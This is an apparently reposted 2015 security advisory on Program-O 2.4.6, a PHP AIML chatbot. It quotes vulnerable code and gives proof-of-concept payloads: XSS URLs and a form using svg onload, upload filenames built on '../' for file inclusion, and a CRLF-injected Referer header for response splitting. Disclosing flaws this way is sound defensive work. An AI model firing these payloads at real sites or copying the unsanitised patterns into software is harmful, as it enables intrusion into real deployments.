Program-O 2.4.6 XSS / LFI / HTTP Response Splitting

[Aerosol]

Program-O version 2.4.6 suffers from http response splitting, cross site scripting, and local file inclusion vulnerabilities.

Document Title:
===============
Program-O v2.4.6 - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1414


Release Date:
=============
2015-01-21


Vulnerability Laboratory ID (VL-ID):
====================================
1414


Common Vulnerability Scoring System:
====================================
6.3


Product & Service Introduction:
===============================
Welcome to the Program O Project website This is the home of the Open Source PHP MySQL AIML Chatbot Project. Program O is an AIML engine written 
in PHP with MySQL. Here you can find support, help, bot addons, a brilliant and friendly community and ofcourse the Program O download files.

(Copy of the Vendor Homepage: http://blog.program-o.com/ )


Abstract Advisory Information:
==============================
An independent Vulnerability Laboratory Researcher discovered multiple vulnerabilities in the official Program-O v2.4.6 web-application.


Vulnerability Disclosure Timeline:
==================================
2015-01-21: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Program O
Product: Program O AIML Chatbot - Web Application 2.4.6


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Proof of Concept (PoC):
=======================
1.1 Client-Side Cross Site Scripting Vulnerability
The xss vulnerabilities can be exploited by remote attackers without privileged application user account and with low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

http://localhost/Program-O/gui/xml/index.php?convo_id=444%22/%3E%3Csvg/onload=alert%281%29%3E

Cause

echo $convo_id;

$post_vars = filter_input_array(INPUT_POST) : array();
$get_vars = filter_input_array(INPUT_GET) : array();
$request_vars = array_merge($get_vars, $post_vars);
$convo_id = $request_vars['convo_id'] : get_convo_id ();


1.2 Client-Side Cross Site Scripting Vulnerability

http://localhost/Program-O/gui/xml/index.php/%22%3E%3Csvg/onload=alert%280%29%3E


./Program-O/gui/xml/index.php

echo $_SERVER['PHP_SELF'];

3.  /logs/index.php

$iframeURL = $_POST['file'] : 'about:blank';
  echo $iframeURL;

<form action="http://localhost/Program-O/logs/index.php" method="POST">
<input type="hidden" name="file"
value='paulos"/></iframe></div><svg/onload=alert(0)>'>


2.1 Application-Side Cross Site Scripting Vulnerability
The persistent input validation vulnerabilities can be exploited by remote attackers with low privileged application user account and with low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


/admin/validateAIML.php

cause because of

echo $status;
$status = "File $fileName is valid.<br />\n";

giving valid AIML files names like <svg/onload=alert(0)> should do the trick


2.2 Application-Side Cross Site Scripting Vulnerability (Only in older php server versions)

/admin/file.php

print "File <strong>$req_file</strong> doesn't exist.";

$req_file = basename($_GET['file']);

exploit ?file=">>payload


3. File Manipulation - Local File Include
The local file include vulnerability can be exploited by remote attackers with low privileged application user account and without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


/admin/validateAIML.php

Cause because of,
move_uploaded_file($_FILES['uploaded']['tmp_name'], $target))

$target = $uploadDir . $ip . '/' . $tf;
$uploadDir = _UPLOAD_PATH_;
define('_UPLOAD_PATH_', _CONF_PATH_ . 'uploads' .
$path_separator);  // global_config.php define()
define('_CONF_PATH_', _BASE_PATH_ . 'config' . $path_separator);
// global_config.php define()
define('_BASE_PATH_', $parentFolder);  // global_config.php define()

Exploitation is to give your file(s) names like ../../../file so when
they got uploaded, they can cause LFI


4. LFI, File Manipulation (RCE in some special cases only!)
The local file include vulnerability can be exploited by remote attackers with low privileged application user account and without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

/admin/upload_old.php

move_uploaded_file($_FILES['aimlfile']['tmp_name'], $file))

$file = './uploads/' . $_FILES['aimlfile']['name'];

exact same issues in admin/upload.php




5.1 HTTP Response Splitting (CRLF)
The HTTP Response Splitting issues can be exploited by remote attackers without privileged application user account and with medium or high user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

header("Refresh: 5; url=$whoami?file=$req_file&send_file=yes");
$whoami = basename(__FILE__);
$req_file = basename($_GET['file']);


5.2 HTTP Response Splitting (CRLF)
/admin/download.php

cause,

$referer = $_SERVER['HTTP_REFERER'];
header("Refresh: 5;
url=file.php?file=$zipFilename&send_file=yes&referer=$referer&msg=$msg");

So as long as we spoof our referer to %0A%0DContent-Injection:goes-here


Security Risk:
==============
1.1 - 1.2
The security risk of the client-side cross site scripting vulnerabilities is estimated as medium. (CVSS 2.6)

2.1 - 2.2
The security risk of the application-side input validation web vulnerabilities are estimated as medium. (CVSS 3.7)

3.0
The security risk of the local file include web vulnerability is estimated as high. (CVSS 6.1)

4.0
The security risk of the local file manipulation issue and code execution vulnerability is estimated as high. (CVSS 6.4).


Credits & Authors:
==================
Paulos Yibelo (paulosyibelo.com)

Source